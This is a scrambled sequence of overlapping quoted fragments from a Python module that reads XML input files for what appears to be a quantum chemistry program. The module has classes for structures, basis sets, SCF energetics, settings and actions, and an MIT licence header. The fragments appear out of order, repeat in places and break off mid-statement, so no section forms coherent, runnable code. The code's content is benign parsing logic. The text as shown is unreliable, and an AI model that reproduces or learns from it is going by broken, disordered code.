"= float(xyz_text[1]) xyz_coord[1] = float(xyz_text[2]) xyz_coord[2] = float(xyz_text[3]) coordinates.append(xyz_coord) else:",
"not 0, in that case # we are not finding",
"Have you perfomed 'parse' for the object?\") def parameter_values_are_equal(self, other,",
"directory): \"\"\" Retrieves content of xml file at path 'path_text'",
"value if self.get_parameter_value(parameter_name) == 0: tagtype = parameter_name[:parameter_name.rfind('_')] name_tag_found =",
"{}.\".format(value_text)) return result def convert_argument_value(self, value_text, parameter_definition): argument_type = parameter_definition.attrib['type']",
"not definition_found: print(\"Warning: Found unknown tag with name '{}'. Ignoring.\".format(tag.tag))",
"name 'parameter_name' for two objects of the same type. \"\"\"",
"Retrieves content to the tag from external file(s), if the",
"== 'name': self.name = self.parameter_values['name'] else: print(\"PARAMETER is not valid\",",
"self.add_counters(child) child.parse() def parse(self): \"\"\" Parse paremeters and child xml-tags",
"= self.extends_directories[-1] path_text = InputXML.read_tag_or_attribute_value(self.extends_roots[-1], 'extends_path') def fill_id_values(self): \"\"\" Finds",
"option.attrib['value'] else: valid_options += (\"{}: {} \".format(option.attrib['value'], option.attrib['text_value'])) sys.exit('Error: The",
"the value from extends roots if value is None and",
"'atom'->'xyz' -tag.\") self.coordinates.append(result) self.types.append(atom_type) self.charges.append(atom_charge) def get_atom_type(self, atom_type_text): return int(self.atom_types[atom_type_text])",
"to call the Fortran interface \"\"\" self.parse() self.handle_folders() self.fill_id_values() kwargs",
"ET.parse(complete_path) return tree.getroot() else: raise Exception(\"Error: '{}' tag path '{}'",
"ANY KIND, EXPRESS OR * * IMPLIED, INCLUDING BUT NOT",
"= other.get_parameter_value(parameter_name) if isinstance(self_value, list) or isinstance(self_value, numpy.ndarray): if len(self_value)",
"value of a counter with name 'counter_name'. If the counter",
"if argument_key in argument_values and argument_values[argument_key] is not None: argument_values[argument_key].append(self.parameter_values[parameter_name])",
"the rights * * to use, copy, modify, merge, publish,",
"in that case # we are not finding the value",
"if tag is not None: value = tag.text elif name",
"= [] self.extends_directories = [] directory = self.directory while path_text",
"'path_text' and 'original_directory' and validate that it exists. Returns the",
"is not None and path_text != \"\": try: self.root =",
"parameter name 'parameter_name'. \"\"\" for parameter_definition in self.definition.findall('parameter'): if parameter_definition.attrib['name']",
"None if len(options) > 0: valid_options = \"\" for option",
"function 'parse' and it should not be used independently. \"\"\"",
"if len(shape) == 3: new_shape = (shape[0], shape[1], shape[2]+1) elif",
"-tag.\") self.coordinates.append(result) self.types.append(atom_type) self.charges.append(atom_charge) def get_atom_type(self, atom_type_text): return int(self.atom_types[atom_type_text]) def",
"== list: temp = numpy.empty((256, len(argument_values[argument_key])+1), dtype=\"c\") for j, value",
"counter {} failed. Counter not found.\".format(child.definition.attrib['global_index_counter'])) else: child.id = self.get_counter_value(child.definition.attrib['global_index_counter'])",
"does not exist\".format(filename)) else: self.root = None self.parent_object = parent_object",
"not None: if argument_key in argument_values and argument_values[argument_key] is not",
"# handle the parameters first for parameter_definition in self.definition.findall('parameter'): if",
"the child object 'child' of 'self' by one \"\"\" if",
"== other_child: equal_found = True # if not, the children",
"= self.get_tagid_for_name(tagtype, name) if id_value != -1: self.parameter_values[parameter_name] = id_value",
"self.definition = definition else: sys.exit(\"Definition tag '{}' not found from",
"to right data type and check that it is valid",
"Found two (or more) arguments for the same parameter: {}\".format(argument_key))",
"ARISING FROM, * * OUT OF OR IN CONNECTION WITH",
"\"{}\" is not within allowed options: {} '.format(value_text, parameter_definition.attrib['name'], valid_options))",
"return value def check_value_range(self, value, parameter_definition): if value is not",
"'parse' and it should not be used independently. \"\"\" for",
"and name \\'{}\\' has invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) else:",
"form_new_directory_path(self, path_text, original_directory = None): \"\"\" Creates a new directory",
"atom): result = [0.0, 0.0, 0.0] x = atom.find('x') if",
"smallest allowed value: {}', parameter_definition.attrib['name'], value, float(minval)) if 'maxval' in",
"# fall back to default value/or None if one is",
"of the parameter first from the values of the XML-element,",
"object 'child' of 'self' by one \"\"\" if 'global_index_counter' in",
"None: del argument_values[argument_key] def add_counters(self, child): \"\"\" Add all the",
"os.path.join(self.parameter_values['output_folder'], \"structure.xml\") # if structure file exists, parse it and",
"pass class InputXML(object): tag_type = 'input' definition_tag = 'input_definition' def",
"\"*_input\"-format definition = self.definition.find('{}_input'.format(tag.tag)) # if the input definition was",
"= True break if not definition_found: print(\"Warning: Found unknown tag",
"the directory of the file with the input directory path",
"== float or type(self_value[i]) == numpy.float64 or type(self_value[i]) == numpy.float32",
"parameter is not found an InputProgrammingError is raised. \"\"\" if",
"to 'self' if hasattr(self, 'extends_roots') and self.extends_roots is not None\\",
"def parse(self): \"\"\" Parse paremeters and child xml-tags of the",
"definition_tag = 'scf_energetics_input' class ActionXML(InputXML): tag_type = 'action' definition_tag =",
"SettingsGenerator.generate_fortran(parameter_definition): value[i] = str(arg) else: value[i] = str(arg) if argument_type.startswith('bool'):",
"OrderedDict class InputProgrammingError(Exception): pass class InputXML(object): tag_type = 'input' definition_tag",
"not os.path.exists(directory_path): raise Exception(\"Error: '{}' tag path '{}' does not",
"= directory) elif tag.tag == 'structure': child = StructureXML(parent_object =",
"numpy.float32 or type(self_value[i]) == numpy.float16: if abs(self_value[i] - other_value[i]) >",
"if 'maxval' in parameter_definition.attrib: maxval = parameter_definition.attrib['maxval'] if value >",
"to the tree \"\"\" if 'output_folder' in self.parameter_values: scf_energetics_filename =",
"tag by using the \"*_input\"-format definition = self.definition.find('{}_input'.format(tag.tag)) # if",
"Creates a new directory path from 'path_text' and 'original_directory' and",
"there is equal for other_child in other.children: if child ==",
"'path') # try to retrieve the content from path_text if",
"self.__eq__(other) def read_array_values(self, value_text, argument_type): is_number = argument_type.startswith(\"int\") or \\",
"return True def is_of_same_type_as(self, other): \"\"\" Check if self is",
"same type. \"\"\" # check that the input objects are",
"InputProgrammingError(\"The objects compared with parameter_values_are_equal\"+ \" are not of same",
"definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\" if os.path.exists(filename): self.tree = ET.parse(filename) self.root =",
"the input scf energetics of the action if os.path.exists(os.path.join(self.directory, scf_energetics_filename)):",
"Adding counter {} failed. Counter not found.\".format(child.definition.attrib['global_index_counter'])) else: child.id =",
"True def __eq__(self, other): \"\"\" Check if two InputXML objects",
"root_object.definition.find('scf_energetics_input') scf_energetics = SCFEnergeticsXML(parent_object = root_object, \\ definition = scf_energetics_definition)",
"StructureXML(parent_object = self, definition = definition, input_object = tag, directory",
"* SOFTWARE. * *----------------------------------------------------------------------------------\"\"\" # Input file reader import os",
"self.definition.attrib['abbreviation'] for parameter_name in self.parameter_values: if SettingsGenerator.generate_fortran(self.parameter_definitions[parameter_name]): if abbreviation is",
"i, atoms in enumerate(self.root.findall('atoms')): self.read_atoms_coordinates_and_types(atoms) def read_atom_coordinates_and_type(self, atom): result =",
"> 0: valid_options = \"\" for option in options: if",
"except ValueError: sys.exit('Error: parameter with type \\'{}\\' and name \\'{}\\'",
"try: result = ast.literal_eval(\"[\"+ value_text +\"]\") except: raise Exception(\"Bad form",
"if self.parent_object is not None: return self.parent_object.get_counter_value(counter_name) else: return -1",
"= float(arg) if argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value[i] = str(arg) else:",
"found in the local object, it is seached from the",
"# convert the non absolute paths to absolute ones if",
"Fortran interface \"\"\" self.parse() self.handle_folders() self.fill_id_values() kwargs = OrderedDict() self.get_interface_argument_values(kwargs)",
"definition 'parameter_definition'. \"\"\" # convert the value to right data",
"child == other_child: equal_found = True # if not, the",
"and self.extends_roots is not None\\ and hasattr(self, 'extends_directories') and self.extends_directories",
"in child.definition.attrib: counter_present = True if SettingsGenerator.generate_fortran(child.definition): child.get_interface_argument_values(argument_values, parameter_definitions, abbreviation",
"dots self.parameter_values[parameter_name] = os.path.normpath(path) # if the output folder does",
"'Al':13, 'Si':14, 'P':15, 'S':16, 'Cl':17, 'Ar':18} def read_input(self): charge =",
"argument_key not in parameter_definitions: argument_values[argument_key] = None parameter_definitions[argument_key] = self.parameter_definitions[parameter_name]",
"directory_path = os.path.dirname(complete_path) # check if the path exists if",
"is a subfunctionality of function 'parse' and it should not",
"'basis_set' definition_tag = 'basis_set_input' class SettingsXML(InputXML): tag_type = 'settings' definition_tag",
"the \"*_input\"-format definition = self.definition.find('{}_input'.format(tag.tag)) # if the input definition",
"def __ne__(self, other): return not self.__eq__(other) def read_array_values(self, value_text, argument_type):",
"== 'action': child = ActionXML(parent_object = self, definition = definition,",
"and self.children_are_equal(other) def __ne__(self, other): return not self.__eq__(other) def read_array_values(self,",
"value def check_value_range(self, value, parameter_definition): if value is not None:",
"charge, to any person obtaining a copy * * of",
"children and check if there is equal for other_child in",
"# parameter is not present in the input file, and",
"if argument_key in argument_values: print(\"Warning: Found two (or more) arguments",
"'type' not found in 'atom'-tag\") def read_atoms_coordinates_and_types(self, atoms): xyz =",
"limitation the rights * * to use, copy, modify, merge,",
"if there is equal for other_child in other.children: if child",
"in option.attrib and value_text == option.attrib['value']: return value_text elif 'text_value'",
"def set_parameter_value(self, parameter_definition, value): \"\"\" Set an arbitrary value 'value'",
"def read_input(self): charge = self.root.find('charge') # read relative charge if",
"value = True else: value = bool(arg) except ValueError: sys.exit('Error:",
"and hasattr(child, 'name') and child.name == name: return child.id return",
"= float(x.text) y = atom.find('y') if (y is not None):",
"structure.parse() structure_id_definition = self.get_parameter_definition('structure_id') self.set_parameter_value(structure_id_definition, structure.id) class BasisSetXML(InputXML): tag_type =",
"value {} is larger than the largest allowed value: {}',",
"else: value = str(value_text) elif argument_type.startswith('bool'): if value_text.lower() == 'false':",
"parameter_name in self.parameter_values: if not self.parameter_values_are_equal(other, parameter_name): return False return",
"\"\"\" Compare the values of parameter with name 'parameter_name' for",
"the values for both input objects self_value = self.get_parameter_value(parameter_name) other_value",
"LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * * FITNESS FOR",
"the tag from external file(s), if the tag has attribute",
"the '<class>'-tags if definition is None: definition_found = False for",
"the path exists if not os.path.exists(directory_path): raise Exception(\"Error: '{}' tag",
"'{}' tag path '{}' does not exist\".format(self.tag_type, complete_path)) return directory_path",
"= [] directory = self.directory while path_text is not None:",
"it and add it as a child of the root",
"the default values. for definition_tag in self.definition.findall('class'): if definition_tag.attrib['name'] not",
"permission notice shall be included in all* * copies or",
"self.extends_roots.append(self.retrieve_path(path_text, directory)) self.extends_directories.append(self.form_new_directory_path(path_text, directory)) except Exception as e: sys.exit(str(e)) #",
"i in range(len(self_value)): if type(self_value[i]) == float or type(self_value[i]) ==",
"= SCFEnergeticsXML(parent_object = self, definition = definition, input_object = tag,",
"None: definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\" if os.path.exists(filename): self.tree = ET.parse(filename) self.root",
"hasattr(self, 'extends_roots') and self.extends_roots is not None: for extends_root in",
"enumerate(self.root.findall('atom')): self.read_atom_coordinates_and_type(atom) # then read atoms in 'atoms' tags for",
"= float(xyz_text[2]) result[2] = float(xyz_text[3]) else: sys.exit(\"Error: Too many or",
"array, should have a list or a dictionary, value is:",
"type as other \"\"\" return type(self) == type(other) \\ and",
"OR OTHER DEALINGS IN THE * * SOFTWARE. * *----------------------------------------------------------------------------------\"\"\"",
"None: complete_path = os.path.join(original_directory, path_text) else: complete_path = path_text directory_path",
"xyz_coord[2] = float(xyz_text[3]) coordinates.append(xyz_coord) else: sys.exit(\"Error: Too many or too",
"def __eq__(self, other): \"\"\" Check if two InputXML objects are",
"(xyz is not None): xyz_lines = xyz.text.splitlines() for xyz in",
"tag.tag == 'settings': child = SettingsXML(parent_object = self, definition =",
"input file, just to # input the default values. for",
"in argument_values: print(\"Warning: Found two (or more) arguments for the",
"counter parameter with name=='counter_name' by one. If the counter is",
"convert_argument_value(self, value_text, parameter_definition): argument_type = parameter_definition.attrib['type'] if SettingsGenerator.has_options(parameter_definition): value_text =",
"if (xyz is not None): xyz_lines = xyz.text.splitlines() for xyz",
"temp[:, j] = \"{0:{width}}\".format(argument_values[argument_key][j], width=256) argument_values[argument_key] = numpy.array(temp, dtype=\"c\").T elif",
"self.parameter_definitions = OrderedDict() self.children = [] self.child_definitions = [] #",
"tree = ET.parse(complete_path) return tree.getroot() else: raise Exception(\"Error: '{}' tag",
"coordinates.append(xyz_coord) else: sys.exit(\"Error: Too many or too few coordinates in",
"the value of a counter with name 'counter_name'. If the",
"# first read atom coordinates in 'atom' tags for i,",
"id_value = self.get_tagid_for_name(tagtype, name) if id_value != -1: self.parameter_values[parameter_name] =",
"self.children.append(child) child.parse() def handle_folders(self): \"\"\" Creates missing folders and replaces",
"find the definition from # the '<class>'-tags if definition is",
"= None): \"\"\" Creates a new directory path from 'path_text'",
"Copyright (c) 2010-2018 <NAME>, <NAME>, <NAME>, * * <NAME>, <NAME>,",
"the input objects are of same type if type(self) !=",
"value is not found at root, then use the value",
"definition_found = True break if not definition_found: print(\"Warning: Found unknown",
"if definition is None: definition_found = False for definition_tag in",
"stored to input-output dictionary 'arguments_values'. \"\"\" if 'abbreviation' in self.definition.attrib:",
"special attention: if parameter_definitions[argument_key].attrib['type'].startswith('string') and type(argument_values[argument_key]) == list: temp =",
"shape[1], shape[2]+1) elif len(shape) == 2: new_shape = (shape[0], shape[1]+1)",
"not success: print(\"Warning: Adding counter {} failed. Counter not found.\".format(child.definition.attrib['counters']))",
"(c) 2010-2018 <NAME>, <NAME>, <NAME>, * * <NAME>, <NAME>, <NAME>",
"path exists if os.path.exists(complete_path): tree = ET.parse(complete_path) return tree.getroot() else:",
"the children and check if there is equal for other_child",
"read relative charge if (charge is not None): self.charge =",
"persons to whom the Software is * * furnished to",
"if isinstance(self_value, list) or isinstance(self_value, numpy.ndarray): if len(self_value) != len(other_value):",
"scf energetics file exists, parse it and add as a",
"\"__main__\": if len(sys.argv) <= 1: print(\"Give the input file name",
"directory = directory) self.children.append(child) self.child_definitions.append(tag.tag) self.add_counters(child) child.parse() def parse(self): \"\"\"",
"arg.lower() == 'false': value[i] = False elif arg.lower() == 'true':",
"if (z is not None): result[2] = float(z.text) xyz =",
"\"\": try: self.root = self.retrieve_path(path_text, self.directory) self.directory = self.form_new_directory_path(path_text, self.directory)",
"WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN",
"dictionary: # convert the indexing from the 1-starting to 0-starting",
"is not None: definition = self.parent_object.definition.find(self.definition_tag) if definition is not",
"by getting the next extends path and corresponding directory directory",
"None: argument_key = \"{}_{}\".format(abbreviation, parameter_name) else: argument_key = parameter_name if",
"self.parameter_values if name_tag_found: name = self.parameter_values[tagtype+\"_name\"] if name is not",
"self.handle_output_files() def handle_output_files(self): \"\"\" Reads in the output files and",
"(len(xyz_text) == 1 and xyz_text[0] == \"\"): continue elif (len(xyz_text)",
"directory elif filename is not None and os.path.exists(filename): self.directory =",
"parameter_definition.attrib['name'] == 'name': self.name = self.parameter_values['name'] else: print(\"PARAMETER is not",
"input array (could also be a dictionary), which # has",
"structure file exists, parse it and add it as a",
"value is within given limits self.check_value_range(final_value, parameter_definition) # set the",
"tag.tag: definition = definition_tag definition_found = True break if not",
"kwargs def form_new_directory_path(self, path_text, original_directory = None): \"\"\" Creates a",
"False for i in range(len(self_value)): if type(self_value[i]) == float or",
"print(\"Warning: Adding counter {} failed. Counter not found.\".format(child.definition.attrib['local_index_counter'])) if 'counters'",
"break # fall back to default value/or None if one",
"or type(self_value[i]) == numpy.float32 or type(self_value[i]) == numpy.float16: if abs(self_value[i]",
"other_child: equal_found = True # if not, the children cannot",
"objects we are extending from and thirdly from the default",
"return result def convert_argument_value(self, value_text, parameter_definition): argument_type = parameter_definition.attrib['type'] if",
"to 'self.child_definitions' and 'self.parameter_definitions', respectively. User must note that this",
"* furnished to do so, subject to the following conditions:",
"and hasattr(self, 'extends_roots') and self.extends_roots is not None: for extends_root",
"= float(y.text) z = atom.find('z') if (z is not None):",
"None: if definition_filename is None: definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\" if os.path.exists(filename):",
"structure of the action if os.path.exists(os.path.join(self.directory, structure_filename)): structure_definition = root_object.definition.find('structure_input')",
"directory) self.children.append(child) self.child_definitions.append(tag.tag) self.add_counters(child) child.parse() def parse(self): \"\"\" Parse paremeters",
"OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR",
"store them as children in the 'self'. Note: this function",
"self.parameter_values[counter_name] += 1 return True else: if self.parent_object is not",
"parsed parameters. If the parameter is not found an InputProgrammingError",
"new_array = numpy.empty(new_shape, order='F') if len(shape) == 3: new_array[:, :,",
"for i, atom in enumerate(self.root.findall('atom')): self.read_atom_coordinates_and_type(atom) # then read atoms",
"where reference is made with name and fills it to",
"the input definition was not found, try to find the",
"Check if two InputXML objects are equal with each other",
"= self.parameter_definitions[parameter_name] else: if argument_key in argument_values: print(\"Warning: Found two",
"child.id return -1 def get_parameter_definition(self, parameter_name): \"\"\" Retrieve the parameter",
"'local_index_counter' in child.definition.attrib or 'counters' in child.definition.attrib: counter_present = True",
"None: for child in self.parent_object.children: if hasattr(child, 'tag_type') and child.tag_type",
"attention: if parameter_definitions[argument_key].attrib['type'].startswith('string') and type(argument_values[argument_key]) == list: temp = numpy.empty((256,",
"and set it as the input scf energetics of the",
"Software without restriction, including without limitation the rights * *",
"parameter_name): \"\"\" Compare the values of parameter with name 'parameter_name'",
"ast.literal_eval(\"[\"+ value_text +\"]\") except: raise Exception(\"Bad form of array, should",
"parse it and add as a child of the root",
":shape[2]] = temp_array[:, :, :] elif len(shape) == 2: new_array[:,",
"of a counter with name 'counter_name'. If the counter is",
"tag with name = tag_name \"\"\" definition = self.definition.find('{}'.format(tag_name)) return",
"is not None and os.path.exists(filename): self.directory = os.path.dirname(filename) elif self.parent_object",
"if name_tag_found: name = self.parameter_values[tagtype+\"_name\"] if name is not None",
"Check if self is of same type as other \"\"\"",
"this object and store them # to 'self' if self.root",
"readable by removing extra slashes and dots self.parameter_values[parameter_name] = os.path.normpath(path)",
"xyz_lines = xyz.text.splitlines() for xyz in xyz_lines: xyz_text = xyz.strip().split(\"",
"input objects self_value = self.get_parameter_value(parameter_name) other_value = other.get_parameter_value(parameter_name) if isinstance(self_value,",
"and store them # to 'self' if self.root is not",
"is not None: return self.parent_object.get_counter_value(counter_name) else: return -1 def set_parameter_value(self,",
"value \"{}\" for argument with name \"{}\" is not within",
"tag with name '{}'. Ignoring.\".format(tag.tag)) continue else: child = InputXML(parent_object",
"4): types.append(self.get_atom_type(xyz_text[0])) charges.append(self.get_atom_charge(xyz_text[0])) xyz_coord[0] = float(xyz_text[1]) xyz_coord[1] = float(xyz_text[2]) xyz_coord[2]",
"parameters to a form suitable for the Fortran interface. The",
"changed to a list array_values = self.read_array_values(value_text, argument_type) # get",
"[0.0, 0.0, 0.0] # ignore empty lines if (len(xyz_text) ==",
"self.retrieve_path(path_text, self.directory) self.directory = self.form_new_directory_path(path_text, self.directory) except Exception as e:",
"= None if len(options) > 0: valid_options = \"\" for",
"type and check that it is valid final_value = self.convert_argument_value(value,",
"Adding counter {} failed. Counter not found.\".format(child.definition.attrib['counters'])) def add_counter_value(self, counter_name):",
"be included in all* * copies or substantial portions of",
"= numpy.array(argument_values[argument_key], order='F').T shape = temp_array.shape if len(shape) == 3:",
"array from the parameter definition size = int(parameter_definition.attrib['shape']) value =",
"call the Fortran interface \"\"\" self.parse() self.handle_folders() self.fill_id_values() kwargs =",
"self.root = None self.parent_object = parent_object if directory is not",
"if 'global_index_counter' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['global_index_counter']) if not success:",
"definition else: sys.exit(\"Definition tag '{}' not found from parent definition",
"child.name == name: return child.id return -1 def get_parameter_definition(self, parameter_name):",
"type if type(self) != type(other): raise InputProgrammingError(\"The objects compared with",
"os import sys import xml.etree.ElementTree as ET import numpy, ast",
"this function is recursive as it calls 'parse' for all",
"IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * *",
"self.extends_directories[-1] path_text = InputXML.read_tag_or_attribute_value(self.extends_roots[-1], 'extends_path') def fill_id_values(self): \"\"\" Finds the",
"with non-relative ones \"\"\" for parameter_name in self.parameter_values: if parameter_name",
"the correct place \"\"\" for parameter_name in self.parameter_values: if parameter_name.endswith(\"_id\"):",
"os.path.exists(filename): self.directory = os.path.dirname(filename) elif self.parent_object is not None: self.directory",
"objects are equal with each other \"\"\" return self.is_of_same_type_as(other)\\ and",
"next loop by getting the next extends path and corresponding",
"# if value is found, break the iteration if value",
"in self.children: if 'global_index_counter' in child.definition.attrib or 'local_index_counter' in child.definition.attrib",
"= temp_array.shape if len(shape) == 3: new_shape = (shape[0], shape[1],",
"notice shall be included in all* * copies or substantial",
"value/or None if one is not specified if value is",
"argument_type.startswith('bool'): if value_text.lower() == 'false': value = False elif value_text.lower()",
"0: valid_options = \"\" for option in options: if 'value'",
"if self.root is not None: self._parse_children(self.root, self.directory) # add the",
"default value of the parameter definition. \"\"\" value = InputXML.read_tag_or_attribute_value(self.root,",
"made with name and fills it to the correct place",
"values with type list to numpy arrays if self.parent_object is",
"check_value_range(self, value, parameter_definition): if value is not None: if 'minval'",
"path_text if path_text is not None and path_text != \"\":",
"self.charges = [] # first read atom coordinates in 'atom'",
"def _parse_children(self, root, directory): \"\"\" Parse children of root xml-tag",
"\\ definition = scf_energetics_definition) scf_energetics.root = scf_energetics.retrieve_path(scf_energetics_filename, scf_energetics.directory) root_object.children.append(scf_energetics) root_object.child_definitions.append('scf_energetics')",
"argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value[i] = str(arg) else: value[i] = str(arg)",
"and to permit persons to whom the Software is *",
"complete_path = path_text # check if the path exists if",
"counter with name 'counter_name'. If the counter is not found",
"value of the parameter from the parsed parameters. If the",
"tag input not given.\") self.retrieve() def prepare(self): \"\"\" Prepare the",
"\"\"\" Retrieve the parameter definition for parameter name 'parameter_name'. \"\"\"",
"and validate that it exists. Returns the new path. \"\"\"",
"the objects we are extending from and thirdly from the",
"it # and store them to 'self' if hasattr(self, 'extends_roots')",
"cannot be equal if not equal_found: return False return True",
"root_object.child_definitions.append('structure') root_object.add_counters(structure) structure.parse() structure_id_definition = self.get_parameter_definition('structure_id') self.set_parameter_value(structure_id_definition, structure.id) class BasisSetXML(InputXML):",
"the following conditions: * * * * The above copyright",
"counter_present = True if SettingsGenerator.generate_fortran(child.definition): child.get_interface_argument_values(argument_values, parameter_definitions, abbreviation = abbreviation,",
"None else: # do the parsing of the input array",
"value \"\"\" for child in self.children: equal_found = False #",
"* in the Software without restriction, including without limitation the",
"self.parameter_values: return self.parameter_values[counter_name] else: if self.parent_object is not None: return",
"the counter values for the child object 'child' of 'self'",
"'counter_name'. If the counter is not found in the local",
"== 2: new_shape = (shape[0], shape[1]+1) else: new_shape = (shape[0]+1)",
"isinstance(self_value, list) or isinstance(self_value, numpy.ndarray): if len(self_value) != len(other_value): return",
"and add it as a child of the root #",
"True def is_of_same_type_as(self, other): \"\"\" Check if self is of",
"== numpy.float16: if abs(self_value[i] - other_value[i]) > 1e-10: return False",
"value, float(maxval)) def get_option_value(self, value_text, parameter_definition): options = parameter_definition.findall('option') result",
"os.path.exists(os.path.join(self.directory, structure_filename)): structure_definition = root_object.definition.find('structure_input') structure = StructureXML(parent_object = root_object,",
"for key in dictionary: # convert the indexing from the",
"if argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value[i] = str(arg) else: value[i] =",
"function is recursive as it calls 'parse' for all found",
"absolute paths to absolute ones if not os.path.isabs(self.parameter_values[parameter_name]): # join",
"OrderedDict() self.parameter_definitions = OrderedDict() self.children = [] self.child_definitions = []",
"print(\"Warning: Adding counter {} failed. Counter not found.\".format(child.definition.attrib['global_index_counter'])) else: child.id",
"energetics file exists, parse it and add as a child",
"attribute or child with # name 'extends_path' path_text = InputXML.read_tag_or_attribute_value(self.root,",
"else: if argument_key in argument_values: print(\"Warning: Found two (or more)",
"default value/or None if one is not specified if value",
"sys.exit(\"Definition tag '{}' not found from parent definition tree\", self.definition_tag)",
"self.children: equal_found = False # go through all the children",
"and parameter_name in self.parameter_values: return self.parameter_values[parameter_name] else: raise InputProgrammingError(\"Accessed parameter:",
"options: {} '.format(value_text, parameter_definition.attrib['name'], valid_options)) def get_root_object(self): if self.parent_object is",
"valid_options += (\"{}: {} \".format(option.attrib['value'], option.attrib['text_value'])) sys.exit('Error: The value \"{}\"",
"the 1-starting to 0-starting result[key-1] = dictionary[key] except: try: result",
"is None: definition_found = False for definition_tag in self.definition.findall('class'): if",
"value < float(minval): sys.exit('Error: argument with name {} and value",
"is not None): self.charge = int(charge.text) else: self.charge = 0",
"convert the indexing from the 1-starting to 0-starting result[key-1] =",
"child.definition.attrib or 'counters' in child.definition.attrib: counter_present = True if SettingsGenerator.generate_fortran(child.definition):",
"USE OR OTHER DEALINGS IN THE * * SOFTWARE. *",
"directory = self.extends_directories[-1] path_text = InputXML.read_tag_or_attribute_value(self.extends_roots[-1], 'extends_path') def fill_id_values(self): \"\"\"",
"None: self.directory = self.parent_object.directory else: self.directory = None if definition",
"for the same parameter: {}\".format(argument_key)) else: argument_values[argument_key] = self.parameter_values[parameter_name] parameter_definitions[argument_key]",
"and name \\'{}\\' has invalid value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) return",
"print(\"Warning: Found unknown tag with name '{}'. Ignoring.\".format(tag.tag)) continue else:",
"is recursive as it calls 'parse' for all found children",
"for parameter_name in self.parameter_values: if SettingsGenerator.generate_fortran(self.parameter_definitions[parameter_name]): if abbreviation is not",
"rights * * to use, copy, modify, merge, publish, distribute,",
"abbreviation = abbreviation, counter_present = counter_present) # if we are",
"root_object, \\ definition = structure_definition) structure.root = structure.retrieve_path(structure_filename, structure.directory) root_object.children.append(structure)",
"for parameter_name in self.parameter_values: if parameter_name.endswith(\"_id\"): # check if the",
"# init array of size if is_number: result = [0]",
"external file(s), if the tag has attribute or child named",
"import xml.etree.ElementTree as ET import numpy, ast from .generate_objects import",
"ET import numpy, ast from .generate_objects import SettingsGenerator from collections",
"input file, and the default # value of the parameter",
"self.get_parameter_value(parameter_name) other_value = other.get_parameter_value(parameter_name) if isinstance(self_value, list) or isinstance(self_value, numpy.ndarray):",
"required to call the Fortran interface \"\"\" self.parse() self.handle_folders() self.fill_id_values()",
"= \\ os.path.join(self.parameter_values['output_folder'], \"structure.xml\") # if structure file exists, parse",
"path_text) else: complete_path = path_text # check if the path",
"continue else: child = InputXML(parent_object = self, definition = definition,",
"definition_tag.attrib['name'] not in self.child_definitions: child = InputXML(parent_object = self, definition",
"of the Software, and to permit persons to whom the",
"elif argument_values[argument_key] is None: del argument_values[argument_key] def add_counters(self, child): \"\"\"",
"definition_filename is None: definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\" if os.path.exists(filename): self.tree =",
"self, definition = definition_tag) self.children.append(child) child.parse() def handle_folders(self): \"\"\" Creates",
"0 # read coordinates and atom types self.coordinates = []",
"elif argument_type.startswith('float'): value = float(value_text) elif argument_type.startswith('double'): value = float(value_text)",
"not, the children cannot be equal if not equal_found: return",
"self else: return self.parent_object.get_root_object() class SCFEnergeticsXML(InputXML): tag_type = 'scf_energetics' definition_tag",
"= None, \\ directory = None): if (input_object is not",
"# the string lists need some special attention: if parameter_definitions[argument_key].attrib['type'].startswith('string')",
"def retrieve(self): \"\"\" Retrieves content to the tag from external",
"float(value_text) elif argument_type.startswith('double'): value = float(value_text) elif argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition):",
"= None elif argument_type.startswith('int'): value = int(value_text) elif argument_type.startswith('float'): value",
"is not None and name != \"\": id_value = self.get_tagid_for_name(tagtype,",
"the value of the parameter from the parsed parameters. If",
"PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR",
"for argument_key in list(argument_values): # the string lists need some",
"True else: return self_value == other_value def all_parameter_values_are_equal(self, other): \"\"\"",
"if os.path.exists(definition_filename): definition = ET.parse(definition_filename) self.definition = definition.getroot() else: sys.exit(\"Input",
"same type as other \"\"\" return type(self) == type(other) \\",
"person obtaining a copy * * of this software and",
"\"Software\"), to deal * * in the Software without restriction,",
"not present in the input file, and the default #",
"= os.path.dirname(complete_path) # check if the path exists if not",
"handle the parameters first for parameter_definition in self.definition.findall('parameter'): if SettingsGenerator.is_valid_parameter(parameter_definition):",
"None: for argument_key in list(argument_values): # the string lists need",
"folder does not exist, create it if parameter_name == 'output_folder'",
"self.get_counter_value(child.definition.attrib['global_index_counter']) if 'local_index_counter' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['local_index_counter']) if not",
"= [] self.child_definitions = [] # handle the parameters first",
"in self.definition.attrib: abbreviation = self.definition.attrib['abbreviation'] for parameter_name in self.parameter_values: if",
"all the counter values for the child object 'child' of",
"the parent objects. \"\"\" if counter_name in self.parameter_values: if self.parameter_values[counter_name]",
"objects. \"\"\" if counter_name in self.parameter_values: if self.parameter_values[counter_name] is None:",
"the same type. \"\"\" # check that the input objects",
"# add the tag classes that are not found in",
"= float(z.text) xyz = atom.find('xyz') atom_type = self.read_atom_type(atom) if (xyz",
"in the Software without restriction, including without limitation the rights",
"xyz_coord[0] = float(xyz_text[1]) xyz_coord[1] = float(xyz_text[2]) xyz_coord[2] = float(xyz_text[3]) coordinates.append(xyz_coord)",
"= None,\\ definition = None, \\ directory = None): if",
"else: return False def get_counter_value(self, counter_name): \"\"\" Get the value",
"object?\") def parameter_values_are_equal(self, other, parameter_name): \"\"\" Compare the values of",
